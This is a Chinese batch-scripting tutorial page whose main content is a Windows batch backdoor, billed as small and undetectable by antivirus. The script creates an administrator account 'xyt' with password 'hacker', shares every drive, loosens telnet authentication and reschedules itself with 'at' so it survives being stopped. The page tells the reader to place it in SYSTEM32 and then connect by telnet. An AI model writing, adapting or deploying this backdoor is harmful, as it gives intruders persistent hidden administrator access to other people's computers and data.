繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 用批处理写的后门 永不被杀
- DOS/BAT
- 检测ip格式是否正确的批处理
- 字符串拼接的批处理
- 字符串截取功能批处理
- 生成0-99之间的随机数列
- 用指定字符串替换指定内容
- 用某行内容替换特定字符
- 统计重复次数并排序的批处理
- 计算字符串的长度批处理
- 读取带敏感字符的行的批处理
- 批处理方式实现的目录比较工具
- 统计每个数的重复次数，并按照重复次数由高到低排序的批处理
- 计算字符串的长度的多种解决方案集锦
- set 命令特殊用法
- powercfg 命令 关闭显示器写法
- 文本文件乱序排列bat实现代码
- 批处理将非administrator用户全部禁掉的代码
- 批处理实现ping数据中文版
- 批处理显示当前ip（局域网）
- 本机开放的端口及使用该端口的进程的批处理
- Windows 文件类型与打开方式定义方法
DOS/BAT 中的 用批处理写的后门 永不被杀
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 146 ::
收藏到网摘: n/a
代码思路是影子鹰DESERT朋友的，原代码比较麻烦，我做了改进，这个后门优点就是小而且不会被杀，放到SYSTEM32目录下就可以了 ，代码如下：
@echo off
@attrib +s + r xyt.bat
@net user xyt hacker /add
@net localgroup administrators xyt /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm
@net stop schedule
@net start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet
@net start telnet
@exit
这样就会循环运行我们的程序了，即使被人停下来，过几个小时，又回重新运行，呵呵~~
运行后TELNET IP上去，用户名为xyt，密码为hacker。
评论 (0) All
